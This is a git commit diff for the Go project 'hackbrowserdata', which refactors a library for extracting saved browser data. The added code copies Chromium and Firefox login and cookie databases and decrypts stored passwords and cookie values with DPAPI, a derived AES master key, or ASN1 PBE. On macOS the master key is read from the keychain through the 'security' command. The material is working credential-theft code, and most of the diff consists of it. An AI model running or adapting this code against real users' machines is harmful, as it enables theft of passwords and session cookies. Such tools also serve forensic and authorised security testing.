- Add new files `bookmark.go`, `chromium_darwin.go`, `browserdata/cookie.go`, `browser_windows.go`, `browser_linux.go`, `datatype.go`, `password.go`, `browserdata/browserdata.go`, `chromium_linux.go`, `chromium_windows.go` - Refactor `NewChromium` function to accept an `Options` argument - Refactor `options` code to use a struct instead of multiple arguments - Modify `filterExistDataPaths` to return data paths instead of `BrowserData` - Add `Passwords` and `Cookies` functions to `chromium` - Delete unused files and functions ` errors.go`, `cookie.go`, `browsingdata.go`, `consts.go`, `firefox.go`, `password.go`, `chromium_test.go`, `firefox_test.go` - Improve error messages for keychain related issues - Change `BrowserData.Passwords()` to `Passwords()` for simplification - Remove unused code for browsers `Yandex` and `Edge`, and unused map `browsers` and methods `BrowsingData()` and `AllBrowsingData()` from chromium and firefox structs - Add `DefaultDBHandler` and `DefaultJSONHandler` functions for SQLite3 queriesfeat/library
							parent
							
								
									0d6642ead9
								
							
						
					
					
						commit
						24c90f5b92
					
				| @ -0,0 +1 @@ | ||||
| package hackbrowserdata | ||||
| @ -0,0 +1 @@ | ||||
| package hackbrowserdata | ||||
| @ -0,0 +1,13 @@ | ||||
| package browserdata | ||||
| 
 | ||||
| import ( | ||||
| 	"time" | ||||
| ) | ||||
| 
 | ||||
| type Bookmark struct { | ||||
| 	ID        int64 | ||||
| 	Name      string | ||||
| 	Type      string | ||||
| 	URL       string | ||||
| 	DateAdded time.Time | ||||
| } | ||||
| @ -0,0 +1,51 @@ | ||||
| package browserdata | ||||
| 
 | ||||
| import ( | ||||
| 	"database/sql" | ||||
| 	"os" | ||||
| 	"path/filepath" | ||||
| 
 | ||||
| 	_ "github.com/mattn/go-sqlite3" | ||||
| 
 | ||||
| 	"github.com/moond4rk/hackbrowserdata/utils/fileutil" | ||||
| ) | ||||
| 
 | ||||
| type Extractor interface { | ||||
| 	Extract() (interface{}, error) | ||||
| } | ||||
| 
 | ||||
| type RowsHandler func([]byte, interface{}) (interface{}, error) | ||||
| 
 | ||||
| type ExtractorHandler func([]byte, string, string, RowsHandler) (interface{}, error) | ||||
| 
 | ||||
| func DefaultDBHandler(masterKey []byte, dbpath, dbQuery string, rowsHandler RowsHandler) (interface{}, error) { | ||||
| 	tempFile := filepath.Join(os.TempDir(), filepath.Base(dbpath)) | ||||
| 	if err := fileutil.CopyFile(dbpath, tempFile); err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	defer os.Remove(tempFile) | ||||
| 	db, err := sql.Open("sqlite3", tempFile) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	defer db.Close() | ||||
| 	rows, err := db.Query(dbQuery) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	defer rows.Close() | ||||
| 	return rowsHandler(masterKey, rows) | ||||
| } | ||||
| 
 | ||||
| func DefaultJSONHandler(masterKey []byte, dbpath, dbQuery string, rowsHandler RowsHandler) (interface{}, error) { | ||||
| 	tempFile := filepath.Join(os.TempDir(), filepath.Base(dbpath)) | ||||
| 	if err := fileutil.CopyFile(dbpath, tempFile); err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	defer os.Remove(tempFile) | ||||
| 	s, err := os.ReadFile(tempFile) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	return rowsHandler(masterKey, s) | ||||
| } | ||||
| @ -0,0 +1,131 @@ | ||||
| package browserdata | ||||
| 
 | ||||
| import ( | ||||
| 	"database/sql" | ||||
| 	"os" | ||||
| 	"path/filepath" | ||||
| 	"sort" | ||||
| 	"time" | ||||
| 
 | ||||
| 	"github.com/moond4rk/hackbrowserdata/crypto" | ||||
| 	"github.com/moond4rk/hackbrowserdata/log" | ||||
| 	"github.com/moond4rk/hackbrowserdata/utils/fileutil" | ||||
| 	"github.com/moond4rk/hackbrowserdata/utils/typeutil" | ||||
| ) | ||||
| 
 | ||||
| type CookieExtractor struct { | ||||
| 	Data      []Cookie | ||||
| 	masterKey []byte | ||||
| 	datafile  string | ||||
| } | ||||
| 
 | ||||
| func NewCookieExtractor(masterKey []byte, datafile string) *CookieExtractor { | ||||
| 	return &CookieExtractor{masterKey: masterKey, datafile: datafile} | ||||
| } | ||||
| 
 | ||||
| type Cookie struct { | ||||
| 	Host         string | ||||
| 	Path         string | ||||
| 	KeyName      string | ||||
| 	encryptValue []byte | ||||
| 	Value        string | ||||
| 	IsSecure     bool | ||||
| 	IsHTTPOnly   bool | ||||
| 	HasExpire    bool | ||||
| 	IsPersistent bool | ||||
| 	CreateDate   time.Time | ||||
| 	ExpireDate   time.Time | ||||
| } | ||||
| 
 | ||||
| func ExportCookie(masterKey []byte, passwordPath string) ([]Cookie, error) { | ||||
| 	tempPassFile := filepath.Join(os.TempDir(), filepath.Base(passwordPath)) | ||||
| 	if err := fileutil.CopyFile(passwordPath, tempPassFile); err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	defer os.Remove(tempPassFile) | ||||
| 	cookies, err := exportCookies(masterKey, "", tempPassFile) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	return cookies, err | ||||
| } | ||||
| 
 | ||||
| func exportCookies(masterKey []byte, profile, dbFile string) ([]Cookie, error) { | ||||
| 	data, err := exportData(masterKey, profile, dbFile, handlerCookie) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	cookies := make([]Cookie, 0, len(data)) | ||||
| 	for _, v := range data { | ||||
| 		cookies = append(cookies, v.(Cookie)) | ||||
| 	} | ||||
| 	sort.Slice(cookies, func(i, j int) bool { | ||||
| 		return (cookies)[i].CreateDate.After((cookies)[j].CreateDate) | ||||
| 	}) | ||||
| 	return cookies, nil | ||||
| } | ||||
| 
 | ||||
| type rowHandlerFunc func(masterKey []byte, rows *sql.Rows) (interface{}, error) | ||||
| 
 | ||||
| func handlerCookie(masterKey []byte, rows *sql.Rows) (interface{}, error) { | ||||
| 	var ( | ||||
| 		err                                           error | ||||
| 		key, host, path                               string | ||||
| 		isSecure, isHTTPOnly, hasExpire, isPersistent int | ||||
| 		createDate, expireDate                        int64 | ||||
| 		value, encryptValue                           []byte | ||||
| 	) | ||||
| 	if err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent); err != nil { | ||||
| 		log.Warn(err) | ||||
| 	} | ||||
| 
 | ||||
| 	cookie := Cookie{ | ||||
| 		KeyName:      key, | ||||
| 		Host:         host, | ||||
| 		Path:         path, | ||||
| 		encryptValue: encryptValue, | ||||
| 		IsSecure:     typeutil.IntToBool(isSecure), | ||||
| 		IsHTTPOnly:   typeutil.IntToBool(isHTTPOnly), | ||||
| 		HasExpire:    typeutil.IntToBool(hasExpire), | ||||
| 		IsPersistent: typeutil.IntToBool(isPersistent), | ||||
| 		CreateDate:   typeutil.TimeEpoch(createDate), | ||||
| 		ExpireDate:   typeutil.TimeEpoch(expireDate), | ||||
| 	} | ||||
| 	if len(encryptValue) > 0 { | ||||
| 		if len(masterKey) == 0 { | ||||
| 			value, err = crypto.DPAPI(encryptValue) | ||||
| 		} else { | ||||
| 			value, err = crypto.DecryptPass(masterKey, encryptValue) | ||||
| 		} | ||||
| 		if err != nil { | ||||
| 			log.Error(err) | ||||
| 		} | ||||
| 	} | ||||
| 	cookie.Value = string(value) | ||||
| 	return cookie, nil | ||||
| } | ||||
| 
 | ||||
| func exportData(masterKey []byte, passFile string, query string, rowHandler rowHandlerFunc) ([]interface{}, error) { | ||||
| 	db, err := sql.Open("sqlite3", passFile) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	defer db.Close() | ||||
| 
 | ||||
| 	rows, err := db.Query(query) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	defer rows.Close() | ||||
| 
 | ||||
| 	var data []interface{} | ||||
| 	for rows.Next() { | ||||
| 		item, err := rowHandler(masterKey, rows) | ||||
| 		if err != nil { | ||||
| 			log.Warn(err) | ||||
| 			continue | ||||
| 		} | ||||
| 		data = append(data, item) | ||||
| 	} | ||||
| 	return data, nil | ||||
| } | ||||
| @ -0,0 +1,306 @@ | ||||
| package browserdata | ||||
| 
 | ||||
| import ( | ||||
| 	"database/sql" | ||||
| 	"encoding/base64" | ||||
| 	"os" | ||||
| 	"path/filepath" | ||||
| 	"time" | ||||
| 
 | ||||
| 	// import go-sqlite3 driver
 | ||||
| 	_ "github.com/mattn/go-sqlite3" | ||||
| 	"github.com/tidwall/gjson" | ||||
| 
 | ||||
| 	"github.com/moond4rk/hackbrowserdata/crypto" | ||||
| 	"github.com/moond4rk/hackbrowserdata/log" | ||||
| 	"github.com/moond4rk/hackbrowserdata/utils/fileutil" | ||||
| 	"github.com/moond4rk/hackbrowserdata/utils/typeutil" | ||||
| ) | ||||
| 
 | ||||
| type PasswordExtractor struct { | ||||
| 	masterKey        []byte | ||||
| 	datafiles        []string | ||||
| 	extractorHandler ExtractorHandler | ||||
| 	rowsHandler      RowsHandler | ||||
| } | ||||
| 
 | ||||
| type Password struct { | ||||
| 	Profile     string | ||||
| 	Username    string | ||||
| 	Password    string | ||||
| 	encryptPass []byte | ||||
| 	encryptUser []byte | ||||
| 	LoginURL    string | ||||
| 	CreateDate  time.Time | ||||
| } | ||||
| 
 | ||||
| func NewPassExtractor(masterKey []byte, datafiles []string, fileHandler ExtractorHandler, rowsHandler RowsHandler) *PasswordExtractor { | ||||
| 	return &PasswordExtractor{ | ||||
| 		masterKey:        masterKey, | ||||
| 		datafiles:        datafiles, | ||||
| 		extractorHandler: fileHandler, | ||||
| 		rowsHandler:      rowsHandler, | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func (d *PasswordExtractor) Extract() (interface{}, error) { | ||||
| 	var passwords []Password | ||||
| 	var err error | ||||
| 	for _, datafile := range d.datafiles { | ||||
| 		data, err := d.extractorHandler(d.masterKey, datafile, queryChromiumLogin, d.rowsHandler) | ||||
| 		if err != nil { | ||||
| 			log.Error(err) | ||||
| 			continue | ||||
| 		} | ||||
| 		passwords = append(passwords, data.([]Password)...) | ||||
| 	} | ||||
| 	return passwords, err | ||||
| } | ||||
| 
 | ||||
| func ChromiumPassRowsHandler(masterKey []byte, rows interface{}) (interface{}, error) { | ||||
| 	sqlRows := rows.(*sql.Rows) | ||||
| 	var passwords []Password | ||||
| 	for sqlRows.Next() { | ||||
| 		var ( | ||||
| 			url, username         string | ||||
| 			encryptPass, password []byte | ||||
| 			create                int64 | ||||
| 			err                   error | ||||
| 		) | ||||
| 		if err := sqlRows.Scan(&url, &username, &encryptPass, &create); err != nil { | ||||
| 			log.Warn(err) | ||||
| 			continue | ||||
| 		} | ||||
| 		pass := Password{ | ||||
| 			// Profile:     filepath.Base(profile),
 | ||||
| 			Username:    username, | ||||
| 			encryptPass: encryptPass, | ||||
| 			LoginURL:    url, | ||||
| 		} | ||||
| 		if len(encryptPass) > 0 { | ||||
| 			if len(masterKey) == 0 { | ||||
| 				password, err = crypto.DPAPI(encryptPass) | ||||
| 			} else { | ||||
| 				password, err = crypto.DecryptPass(masterKey, encryptPass) | ||||
| 			} | ||||
| 			if err != nil { | ||||
| 				log.Error(err) | ||||
| 			} | ||||
| 		} | ||||
| 		if create > time.Now().Unix() { | ||||
| 			pass.CreateDate = typeutil.TimeEpoch(create) | ||||
| 		} else { | ||||
| 			pass.CreateDate = typeutil.TimeStamp(create) | ||||
| 		} | ||||
| 		pass.Password = string(password) | ||||
| 		passwords = append(passwords, pass) | ||||
| 	} | ||||
| 	return passwords, nil | ||||
| } | ||||
| 
 | ||||
| func FirefoxPassRowsHandler(masterKey []byte, rows interface{}) (interface{}, error) { | ||||
| 	var passwords []Password | ||||
| 
 | ||||
| 	jsonBytes := rows.([]byte) | ||||
| 	jsonRows := gjson.GetBytes(jsonBytes, "logins").Array() | ||||
| 
 | ||||
| 	if len(jsonRows) == 0 { | ||||
| 		return nil, nil | ||||
| 	} | ||||
| 
 | ||||
| 	for _, v := range jsonRows { | ||||
| 		var ( | ||||
| 			p           Password | ||||
| 			encryptUser []byte | ||||
| 			encryptPass []byte | ||||
| 			err         error | ||||
| 		) | ||||
| 		p.LoginURL = v.Get("formSubmitURL").String() | ||||
| 		encryptUser, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String()) | ||||
| 		if err != nil { | ||||
| 			return nil, err | ||||
| 		} | ||||
| 		encryptPass, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String()) | ||||
| 		if err != nil { | ||||
| 			return nil, err | ||||
| 		} | ||||
| 		p.encryptUser = encryptUser | ||||
| 		p.encryptPass = encryptPass | ||||
| 		// TODO: handle error
 | ||||
| 		userPBE, err := crypto.NewASN1PBE(p.encryptUser) | ||||
| 		if err != nil { | ||||
| 			return nil, err | ||||
| 		} | ||||
| 		pwdPBE, err := crypto.NewASN1PBE(p.encryptPass) | ||||
| 		if err != nil { | ||||
| 			return nil, err | ||||
| 		} | ||||
| 		username, err := userPBE.Decrypt(masterKey) | ||||
| 		if err != nil { | ||||
| 			return nil, err | ||||
| 		} | ||||
| 		password, err := pwdPBE.Decrypt(masterKey) | ||||
| 		if err != nil { | ||||
| 			return nil, err | ||||
| 		} | ||||
| 		p.Password = string(password) | ||||
| 		p.Username = string(username) | ||||
| 		p.CreateDate = typeutil.TimeStamp(v.Get("timeCreated").Int() / 1000) | ||||
| 		passwords = append(passwords, p) | ||||
| 	} | ||||
| 	return passwords, nil | ||||
| } | ||||
| 
 | ||||
| func (d *PasswordExtractor) ExtractChromium() (interface{}, error) { | ||||
| 	var passwords []Password | ||||
| 	var err error | ||||
| 	for _, datafile := range d.datafiles { | ||||
| 		data, err := DefaultDBHandler(d.masterKey, datafile, queryChromiumLogin, d.rowsHandler) | ||||
| 		if err != nil { | ||||
| 			log.Error(err) | ||||
| 			continue | ||||
| 		} | ||||
| 		passwords = append(passwords, data.([]Password)...) | ||||
| 	} | ||||
| 	return passwords, err | ||||
| } | ||||
| 
 | ||||
| func (d *PasswordExtractor) ExtractFirefox() (interface{}, error) { | ||||
| 	return nil, nil | ||||
| } | ||||
| 
 | ||||
| func Export(masterKey []byte, passwordPath string) ([]Password, error) { | ||||
| 	tempPassFile := filepath.Join(os.TempDir(), filepath.Base(passwordPath)) | ||||
| 	if err := fileutil.CopyFile(passwordPath, tempPassFile); err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	defer os.Remove(tempPassFile) | ||||
| 	passwords, err := exportPasswords(masterKey, "", tempPassFile) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	return passwords, err | ||||
| } | ||||
| 
 | ||||
| const ( | ||||
| 	queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins` | ||||
| ) | ||||
| 
 | ||||
| func exportPasswords(masterKey []byte, profile, passFile string) ([]Password, error) { | ||||
| 	db, err := sql.Open("sqlite3", passFile) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	defer db.Close() | ||||
| 	rows, err := db.Query(queryChromiumLogin) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	var passwords []Password | ||||
| 	for rows.Next() { | ||||
| 		var ( | ||||
| 			url, username         string | ||||
| 			encryptPass, password []byte | ||||
| 			create                int64 | ||||
| 		) | ||||
| 		if err := rows.Scan(&url, &username, &encryptPass, &create); err != nil { | ||||
| 			log.Warn(err) | ||||
| 		} | ||||
| 		pass := Password{ | ||||
| 			Profile:     filepath.Base(profile), | ||||
| 			Username:    username, | ||||
| 			encryptPass: encryptPass, | ||||
| 			LoginURL:    url, | ||||
| 		} | ||||
| 		if len(encryptPass) > 0 { | ||||
| 			if len(masterKey) == 0 { | ||||
| 				password, err = crypto.DPAPI(encryptPass) | ||||
| 			} else { | ||||
| 				password, err = crypto.DecryptPass(masterKey, encryptPass) | ||||
| 			} | ||||
| 			if err != nil { | ||||
| 				log.Error(err) | ||||
| 			} | ||||
| 		} | ||||
| 		if create > time.Now().Unix() { | ||||
| 			pass.CreateDate = typeutil.TimeEpoch(create) | ||||
| 		} else { | ||||
| 			pass.CreateDate = typeutil.TimeStamp(create) | ||||
| 		} | ||||
| 		pass.Password = string(password) | ||||
| 		passwords = append(passwords, pass) | ||||
| 	} | ||||
| 	return passwords, nil | ||||
| } | ||||
| 
 | ||||
| const ( | ||||
| 	queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies` | ||||
| ) | ||||
| 
 | ||||
| func ExportPasswords(masterKey []byte, passwordPath string) ([]Password, error) { | ||||
| 	tempPassFile := filepath.Join(os.TempDir(), filepath.Base(passwordPath)) | ||||
| 	if err := fileutil.CopyFile(passwordPath, tempPassFile); err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	defer os.Remove(tempPassFile) | ||||
| 	passwords, err := exportFirefoxPasswords(masterKey, "", tempPassFile) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	return passwords, err | ||||
| } | ||||
| 
 | ||||
| func exportFirefoxPasswords(masterKey []byte, profile, passFile string) ([]Password, error) { | ||||
| 	s, err := os.ReadFile(passFile) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	defer os.Remove(passFile) | ||||
| 	loginsJSON := gjson.GetBytes(s, "logins") | ||||
| 	var passwords []Password | ||||
| 	if !loginsJSON.Exists() { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 
 | ||||
| 	for _, v := range loginsJSON.Array() { | ||||
| 		var ( | ||||
| 			p           Password | ||||
| 			encryptUser []byte | ||||
| 			encryptPass []byte | ||||
| 		) | ||||
| 		p.LoginURL = v.Get("formSubmitURL").String() | ||||
| 		encryptUser, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String()) | ||||
| 		if err != nil { | ||||
| 			return nil, err | ||||
| 		} | ||||
| 		encryptPass, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String()) | ||||
| 		if err != nil { | ||||
| 			return nil, err | ||||
| 		} | ||||
| 		p.encryptUser = encryptUser | ||||
| 		p.encryptPass = encryptPass | ||||
| 		// TODO: handle error
 | ||||
| 		userPBE, err := crypto.NewASN1PBE(p.encryptUser) | ||||
| 		if err != nil { | ||||
| 			return nil, err | ||||
| 		} | ||||
| 		pwdPBE, err := crypto.NewASN1PBE(p.encryptPass) | ||||
| 		if err != nil { | ||||
| 			return nil, err | ||||
| 		} | ||||
| 		username, err := userPBE.Decrypt(masterKey) | ||||
| 		if err != nil { | ||||
| 			return nil, err | ||||
| 		} | ||||
| 		password, err := pwdPBE.Decrypt(masterKey) | ||||
| 		if err != nil { | ||||
| 			return nil, err | ||||
| 		} | ||||
| 		p.Password = string(password) | ||||
| 		p.Username = string(username) | ||||
| 		p.Profile = profile | ||||
| 		p.CreateDate = typeutil.TimeStamp(v.Get("timeCreated").Int() / 1000) | ||||
| 		passwords = append(passwords, p) | ||||
| 	} | ||||
| 	return passwords, nil | ||||
| } | ||||
| @ -1,60 +0,0 @@ | ||||
| package hackbrowserdata | ||||
| 
 | ||||
| type browserDataType int | ||||
| 
 | ||||
| const ( | ||||
| 	TypePassword browserDataType = iota + 1 | ||||
| 	TypeCookie | ||||
| 	TypeHistory | ||||
| 	TypeBookmark | ||||
| 	TypeCreditCard | ||||
| 	TypeDownload | ||||
| 	TypeExtensions | ||||
| 	TypeSessionStorage | ||||
| 	TypeLocalStorage | ||||
| ) | ||||
| 
 | ||||
| func (i browserDataType) Filename(b browser) string { | ||||
| 	switch b.Type() { | ||||
| 	case browserTypeChromium: | ||||
| 		return i.chromiumFilename() | ||||
| 	case browserTypeFirefox: | ||||
| 		return i.firefoxFilename() | ||||
| 	case browserTypeYandex: | ||||
| 		return i.yandexFilename() | ||||
| 	} | ||||
| 	return "" | ||||
| } | ||||
| 
 | ||||
| func (i browserDataType) chromiumFilename() string { | ||||
| 	switch i { | ||||
| 	case TypePassword: | ||||
| 		return "Login Data" | ||||
| 	case TypeCookie: | ||||
| 		return "Cookies" | ||||
| 	case TypeHistory: | ||||
| 	} | ||||
| 	return "" | ||||
| } | ||||
| 
 | ||||
| func (i browserDataType) yandexFilename() string { | ||||
| 	switch i { | ||||
| 	case TypePassword: | ||||
| 		return "Login State" | ||||
| 	case TypeCookie: | ||||
| 		return "Cookies" | ||||
| 	case TypeHistory: | ||||
| 	} | ||||
| 	return "" | ||||
| } | ||||
| 
 | ||||
| func (i browserDataType) firefoxFilename() string { | ||||
| 	switch i { | ||||
| 	case TypePassword: | ||||
| 		return "logins.json" | ||||
| 	case TypeCookie: | ||||
| 		return "cookies.sqlite" | ||||
| 	case TypeHistory: | ||||
| 	} | ||||
| 	return "" | ||||
| } | ||||
| @ -0,0 +1,46 @@ | ||||
| package hackbrowserdata | ||||
| 
 | ||||
| import ( | ||||
| 	"bytes" | ||||
| 	"crypto/sha1" | ||||
| 	"errors" | ||||
| 	"fmt" | ||||
| 	"os/exec" | ||||
| 	"strings" | ||||
| 
 | ||||
| 	"golang.org/x/crypto/pbkdf2" | ||||
| ) | ||||
| 
 | ||||
| var ( | ||||
| 	salt = []byte("saltysalt") | ||||
| ) | ||||
| 
 | ||||
| func (c *chromium) initMasterKey() error { | ||||
| 	var stdout, stderr bytes.Buffer | ||||
| 	args := []string{"find-generic-password", "-wa", strings.TrimSpace(c.storage)} | ||||
| 	cmd := exec.Command("security", args...) //nolint:gosec
 | ||||
| 	cmd.Stdout = &stdout | ||||
| 	cmd.Stderr = &stderr | ||||
| 	if err := cmd.Run(); err != nil { | ||||
| 		return fmt.Errorf("run security command failed: %w, message %s", err, stderr.String()) | ||||
| 	} | ||||
| 
 | ||||
| 	if stderr.Len() > 0 { | ||||
| 		if strings.Contains(stderr.String(), "could not be found") { | ||||
| 			return ErrCouldNotFindInKeychain | ||||
| 		} | ||||
| 		return errors.New(stderr.String()) | ||||
| 	} | ||||
| 
 | ||||
| 	secret := bytes.TrimSpace(stdout.Bytes()) | ||||
| 	if len(secret) == 0 { | ||||
| 		return ErrNoPasswordInOutput | ||||
| 	} | ||||
| 
 | ||||
| 	key := pbkdf2.Key(secret, salt, 1003, 16, sha1.New) | ||||
| 	if len(key) == 0 { | ||||
| 		return ErrWrongSecurityCommand | ||||
| 	} | ||||
| 	c.masterKey = key | ||||
| 	return nil | ||||
| } | ||||
| @ -0,0 +1 @@ | ||||
| package hackbrowserdata | ||||
| @ -1,17 +0,0 @@ | ||||
| package hackbrowserdata | ||||
| 
 | ||||
| import ( | ||||
| 	"testing" | ||||
| ) | ||||
| 
 | ||||
| func TestChromium_Init(_ *testing.T) { | ||||
| } | ||||
| 
 | ||||
| func BenchmarkChromium_Init(b *testing.B) { | ||||
| 	chromium := browsers[Chrome] | ||||
| 	for i := 0; i < b.N; i++ { | ||||
| 		if err := chromium.Init(); err != nil { | ||||
| 			b.Fatal(err) | ||||
| 		} | ||||
| 	} | ||||
| } | ||||
| @ -0,0 +1 @@ | ||||
| package hackbrowserdata | ||||
| @ -1,15 +0,0 @@ | ||||
| package hackbrowserdata | ||||
| 
 | ||||
| type Cookie struct { | ||||
| 	Domain     string | ||||
| 	Expiration float64 | ||||
| 	Value      string | ||||
| } | ||||
| 
 | ||||
| func (c *chromium) Cookies() ([]Cookie, error) { | ||||
| 	return nil, nil | ||||
| } | ||||
| 
 | ||||
| func (f *firefox) Cookies() ([]Cookie, error) { | ||||
| 	return nil, nil | ||||
| } | ||||
| @ -0,0 +1,144 @@ | ||||
| package hackbrowserdata | ||||
| 
 | ||||
| import ( | ||||
| 	"github.com/moond4rk/hackbrowserdata/browserdata" | ||||
| ) | ||||
| 
 | ||||
| type DataType int | ||||
| 
 | ||||
| const ( | ||||
| 	TypeMasterKey DataType = iota | ||||
| 	TypePassword | ||||
| 	TypeCookie | ||||
| 	TypeHistory | ||||
| 	TypeBookmark | ||||
| 	TypeCreditCard | ||||
| 	TypeDownload | ||||
| 	TypeExtensions | ||||
| 	TypeSessionStorage | ||||
| 	TypeLocalStorage | ||||
| ) | ||||
| 
 | ||||
| func (i DataType) NewExtractor(browserType browserType, masterKey []byte, datafiles []string) browserdata.Extractor { | ||||
| 	switch i { | ||||
| 	case TypePassword: | ||||
| 		switch browserType { | ||||
| 		case browserTypeChromium: | ||||
| 			return browserdata.NewPassExtractor(masterKey, datafiles, browserdata.DefaultDBHandler, browserdata.ChromiumPassRowsHandler) | ||||
| 		case browserTypeFirefox: | ||||
| 			return browserdata.NewPassExtractor(masterKey, datafiles, browserdata.DefaultJSONHandler, browserdata.FirefoxPassRowsHandler) | ||||
| 		} | ||||
| 	case TypeCookie: | ||||
| 	} | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| var ( | ||||
| 	defaultDataTypes = []DataType{TypePassword, TypeCookie} | ||||
| ) | ||||
| 
 | ||||
| const unsupportedType = "" | ||||
| 
 | ||||
| func (i DataType) Filename(b browser) string { | ||||
| 	switch b.Type() { | ||||
| 	case browserTypeChromium: | ||||
| 		return i.chromiumFilename() | ||||
| 	case browserTypeFirefox: | ||||
| 		return i.firefoxFilename() | ||||
| 	case browserTypeYandex: | ||||
| 		return i.yandexFilename() | ||||
| 	default: | ||||
| 		return unsupportedType | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func (i DataType) chromiumFilename() string { | ||||
| 	switch i { | ||||
| 	case TypeMasterKey: | ||||
| 		return fileChromiumKey | ||||
| 	case TypePassword: | ||||
| 		return fileChromiumPassword | ||||
| 	case TypeCookie: | ||||
| 		return fileChromiumCookie | ||||
| 	case TypeHistory: | ||||
| 		return fileChromiumHistory | ||||
| 	case TypeBookmark: | ||||
| 		return fileChromiumBookmark | ||||
| 	case TypeCreditCard: | ||||
| 		return fileChromiumCredit | ||||
| 	case TypeDownload: | ||||
| 		return fileChromiumDownload | ||||
| 	case TypeExtensions: | ||||
| 		return fileChromiumExtension | ||||
| 	case TypeSessionStorage: | ||||
| 		return fileChromiumSessionStorage | ||||
| 	case TypeLocalStorage: | ||||
| 		return fileChromiumLocalStorage | ||||
| 	default: | ||||
| 		return unsupportedFile | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func (i DataType) yandexFilename() string { | ||||
| 	switch i { | ||||
| 	case TypePassword: | ||||
| 		return fileYandexPassword | ||||
| 	case TypeCreditCard: | ||||
| 		return fileYandexCredit | ||||
| 	default: | ||||
| 		return i.chromiumFilename() | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func (i DataType) firefoxFilename() string { | ||||
| 	switch i { | ||||
| 	case TypeMasterKey: | ||||
| 		return fileFirefoxMasterKey | ||||
| 	case TypePassword: | ||||
| 		return fileFirefoxPassword | ||||
| 	case TypeCookie: | ||||
| 		return fileFirefoxCookie | ||||
| 	case TypeHistory: | ||||
| 		return fileFirefoxData | ||||
| 	case TypeBookmark: | ||||
| 		return fileFirefoxData | ||||
| 	case TypeCreditCard: | ||||
| 		// Firefox does not store credit cards
 | ||||
| 		return unsupportedFile | ||||
| 	case TypeDownload: | ||||
| 		return fileFirefoxData | ||||
| 	case TypeExtensions: | ||||
| 		return fileFirefoxExtension | ||||
| 	case TypeSessionStorage: | ||||
| 		return fileFirefoxData | ||||
| 	case TypeLocalStorage: | ||||
| 		return fileFirefoxLocalStorage | ||||
| 	default: | ||||
| 		return unsupportedFile | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| const unsupportedFile = "unsupported file" | ||||
| 
 | ||||
| const ( | ||||
| 	fileChromiumKey            = "Local State" | ||||
| 	fileChromiumCredit         = "Web Data" | ||||
| 	fileChromiumPassword       = "Login Data" | ||||
| 	fileChromiumHistory        = "History" | ||||
| 	fileChromiumDownload       = "History" | ||||
| 	fileChromiumCookie         = "Cookies" | ||||
| 	fileChromiumBookmark       = "Bookmarks" | ||||
| 	fileChromiumLocalStorage   = "Local Storage/leveldb" | ||||
| 	fileChromiumSessionStorage = "Session Storage" | ||||
| 	fileChromiumExtension      = "Extensions" | ||||
| 
 | ||||
| 	fileYandexPassword = "Ya Passman Data" | ||||
| 	fileYandexCredit   = "Ya Credit Cards" | ||||
| 
 | ||||
| 	fileFirefoxMasterKey    = "key4.db" | ||||
| 	fileFirefoxCookie       = "cookies.sqlite" | ||||
| 	fileFirefoxPassword     = "logins.json" | ||||
| 	fileFirefoxData         = "places.sqlite" | ||||
| 	fileFirefoxLocalStorage = "webappsstore.sqlite" | ||||
| 	fileFirefoxExtension    = "extensions.json" | ||||
| ) | ||||
| @ -1,18 +1,17 @@ | ||||
| package hackbrowserdata | ||||
| 
 | ||||
| import ( | ||||
| 	"fmt" | ||||
| 	"testing" | ||||
| ) | ||||
| 
 | ||||
| func TestFirefox_Init(t *testing.T) { | ||||
| 	firefox := browsers[Firefox] | ||||
| 	if err := firefox.Init(); err != nil { | ||||
| 		t.Fatal(err) | ||||
| 	} | ||||
| 	passwords, err := firefox.Passwords() | ||||
| 	if err != nil { | ||||
| 		t.Fatal(err) | ||||
| 	} | ||||
| 	fmt.Println(passwords) | ||||
| 	// firefox := browsers[Firefox]
 | ||||
| 	// if err := firefox.Init(); err != nil {
 | ||||
| 	// 	t.Fatal(err)
 | ||||
| 	// }
 | ||||
| 	// passwords, err := firefox.Passwords()
 | ||||
| 	// if err != nil {
 | ||||
| 	// 	t.Fatal(err)
 | ||||
| 	// }
 | ||||
| 	// fmt.Println(passwords)
 | ||||
| } | ||||
|  | ||||
| @ -1,33 +1,36 @@ | ||||
| package hackbrowserdata | ||||
| 
 | ||||
| import ( | ||||
| 	"path/filepath" | ||||
| ) | ||||
| 
 | ||||
